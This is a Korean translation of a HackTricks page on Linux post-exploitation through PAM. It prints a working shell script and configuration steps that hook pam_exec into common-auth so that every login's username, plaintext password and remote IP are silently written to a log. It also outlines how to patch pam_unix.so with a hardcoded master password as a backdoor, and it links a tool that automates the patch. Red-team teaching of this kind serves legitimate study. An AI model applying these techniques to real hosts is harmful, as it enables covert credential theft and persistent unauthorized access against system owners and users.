hacktricks/linux-hardening/linux-post-exploitation
2024-05-05 22:46:17 +00:00
..
pam-pluggable-authentication-modules.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:46:17 +00:00
README.md Translated to Korean 2024-02-10 21:30:13 +00:00

Linux 사후 침투

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

PAM을 사용하여 로그온 비밀번호 스니핑하기

각 사용자가 로그인할 때 사용하는 비밀번호를 기록하기 위해 PAM 모듈을 구성해보겠습니다. PAM이 무엇인지 모르는 경우 다음을 확인하세요:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

자세한 내용은 원본 게시물을 참조하세요. 이것은 요약일 뿐입니다:

기법 개요: Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증을 관리하는 유연성을 제공합니다. 이들은 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만 잘못 사용될 경우 위험을 가질 수도 있습니다. 이 요약에서는 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 설명합니다.

자격 증명 캡처:

  • toomanysecrets.sh라는 bash 스크립트가 작성되어 로그인 시도를 기록하고, 날짜, 사용자 이름 ($PAM_USER), 비밀번호 (stdin을 통해), 원격 호스트 IP ($PAM_RHOST)를 /var/log/toomanysecrets.log에 기록합니다.
  • 스크립트는 실행 가능하게 만들어지고, pam_exec.so 모듈을 사용하여 PAM 구성 (common-auth)에 통합되며, 스크립트에 대한 인증 토큰을 조용히 실행하고 노출하는 옵션을 가지고 있습니다.
  • 이 접근 방식은 침투된 Linux 호스트가 은밀하게 자격 증명을 기록하는 방법을 보여줍니다.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAM에 백도어 설치하기

자세한 내용은 원본 게시물을 확인하세요. 이것은 간략한 요약입니다:

Pluggable Authentication Module (PAM)은 Linux에서 사용되는 사용자 인증 시스템입니다. 이는 사용자 이름, 비밀번호, 서비스라는 세 가지 주요 개념을 기반으로 작동합니다. 각 서비스의 구성 파일은 /etc/pam.d/ 디렉토리에 위치하며, 공유 라이브러리가 인증을 처리합니다.

목표: PAM을 수정하여 실제 사용자 비밀번호를 우회하고 특정 비밀번호로 인증을 허용합니다. 특히, 대부분의 서비스에서 비밀번호 확인을 위해 사용되는 common-auth 파일에서 사용되는 pam_unix.so 공유 라이브러리에 초점을 맞춥니다.

pam_unix.so 수정 단계:

  1. common-auth 파일에서 인증 지시문을 찾습니다:
  • 사용자의 비밀번호를 확인하는 책임이 있는 줄이 pam_unix.so를 호출합니다.
  1. 소스 코드 수정:
  • pam_unix_auth.c 소스 파일에 조건문을 추가하여 미리 정의된 비밀번호를 사용하면 액세스를 허용하고, 그렇지 않으면 일반적인 인증 프로세스를 진행합니다.
  1. 수정된 pam_unix.so 라이브러리를 적절한 디렉토리에 재컴파일 및 교체합니다.
  2. 테스트:
  • 미리 정의된 비밀번호로 다양한 서비스 (로그인, ssh, sudo, su, 스크린세이버)에 액세스가 허용되지만, 일반적인 인증 프로세스는 영향을 받지 않습니다.

{% hint style="info" %} https://github.com/zephrax/linux-pam-backdoor를 사용하여 이 과정을 자동화할 수 있습니다. {% endhint %}

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: